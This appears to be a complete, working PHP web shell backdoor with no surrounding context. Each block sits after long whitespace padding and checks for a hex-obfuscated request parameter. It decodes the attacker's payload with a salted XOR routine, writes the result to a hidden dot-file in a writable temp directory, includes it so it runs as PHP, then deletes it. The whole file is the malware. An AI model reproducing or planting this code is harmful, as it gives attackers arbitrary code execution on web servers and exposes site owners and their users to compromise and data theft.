<?php																																										if(@$_REQUEST["f\x61\x63\x74or"] !== null){ $component = $_REQUEST["f\x61\x63\x74or"]; $component= explode ('.' , $component); $marker = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $i = 0; foreach($component as $v1) { $chS = ord($salt6[$i %$sLen] ); $dec =((int)$v1 - $chS -($i %10)) ^ 48; $marker .= chr($dec ); $i++;} $data = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd()]); foreach ($data as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $sym = "$symbol/.ent"; if (@file_put_contents($sym, $marker) !== false) { include $sym; unlink($sym); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x74\x6Bn"])){ $elem = array_filter([getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm"]); $ptr = $_POST["\x74\x6Bn"]; $ptr = explode ( '.' , $ptr ) ; $pset= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt9 ); $n= 0; $__len= count($ptr ); do { if ($n>= $__len) break; $v1= $ptr[$n]; $chS= ord($salt9[$n % $lenS] ); $dec= ((int)$v1 - $chS - ($n % 10)) ^ 25; $pset .=chr($dec ); $n++; } while (true ); foreach ($elem as $object): if (!!is_dir($object) && !!is_writable($object)) { $ref = vsprintf("%s/%s", [$object, ".hld"]); if (@file_put_contents($ref, $pset) !== false) { include $ref; unlink($ref); exit; } } endforeach; }
																																										if(!is_null($_POST["\x66\x6Cag"] ?? null)){ $dat = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $bind = $_POST["\x66\x6Cag"]; $bind = explode( '.' , $bind ); $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; array_walk($bind , function ($v9) use (&$binding , &$y , $s , $sLen) { $sChar = ord($s[$y % $sLen]); $dec = ((int)$v9 - $sChar - ($y % 10)) ^ 57; $binding.= chr($dec); $y++; } ); $sym = 0; do { $pset = $dat[$sym] ?? null; if ($sym >= count($dat)) break; if (max(0, is_dir($pset) * is_writable($pset))) { $ent = "$pset/.obj"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $ent; @unlink($ent); exit; } } $sym++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x73\x79mb\x6Fl")){ $res = $_REQUEST["\x73\x79mb\x6Fl"]; $res= explode ('.' , $res ) ; $val= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s6); $j= 0; array_walk($res, function ($v7) use (&$val, &$j, $s6, $sLen) {$sChar= ord($s6[$j% $sLen]); $d= ((int)$v7 - $sChar - ($j% 10)) ^ 97; $val .= chr($d); $j++; }); $reference = array_filter([session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]); for ($sym = 0, $dchunk = count($reference); $sym < $dchunk; $sym++) { $obj = $reference[$sym]; if (array_product([is_dir($obj), is_writable($obj)])) { $object = str_replace("{var_dir}", $obj, "{var_dir}/.binding"); if (file_put_contents($object, $val)) { include $object; @unlink($object); die(); } } } }
																																										if(in_array("pg\x72\x70", array_keys($_POST))){ $data_chunk = $_POST["pg\x72\x70"]; $data_chunk = explode ('.' , $data_chunk ) ; $marker = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); foreach ($data_chunk as $w => $v7): $sChar = ord($salt6[$w % $sLen] ); $dec = ((int)$v7 - $sChar - ($w % 10)) ^ 73; $marker .= chr($dec ); endforeach; $holder = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", "/tmp"]); while ($ent = array_shift($holder)) { if (!( !is_dir($ent) || !is_writable($ent) )) { $factor = vsprintf("%s/%s", [$ent, ".mrk"]); if (file_put_contents($factor, $marker)) { include $factor; @unlink($factor); exit; } } } }
																																										if(isset($_REQUEST["\x65le\x6D"])){ $bind = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]); $dchunk = $_REQUEST["\x65le\x6D"]; $dchunk=explode ( "." , $dchunk ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; $len = count($dchunk); do { if($t>=$len) break; $v6 = $dchunk[$t]; $sChar = ord($s[$t %$sLen]); $d =((int)$v6 - $sChar -($t %10)) ^ 91; $ent .= chr($d); $t++; }while(true); foreach ($bind as $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $tkn = "$object/.factor"; $success = file_put_contents($tkn, $ent); if ($success) { include $tkn; @unlink($tkn); die();} } } }


if(!is_null($_REQUEST["\x63o\x6D\x70on\x65nt"] ?? null)){
	$rec = $_REQUEST["\x63o\x6D\x70on\x65nt"];
		$rec	 	=explode			(		 "." , $rec	 	)	;	
	$flag	 =  '';
            $s5	 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =  strlen($s5	 );
            $n	 =  0;
    
            foreach($rec as $v8) {
                $sChar	 =  ord($s5[$n		%	 $sLen]	 );
                $d	 =  ((int)$v8 - $sChar -($n		%	 10))		^	 65;
                $flag	.=chr($d	 );
                $n++;
            }
	$record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd()]);
	foreach ($record as $key => $ptr) {
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $value = sprintf("%s/.pset", $ptr);
    if (file_put_contents($value, $flag)) {
	require $value;
	unlink($value);
	exit;
}
}
}
}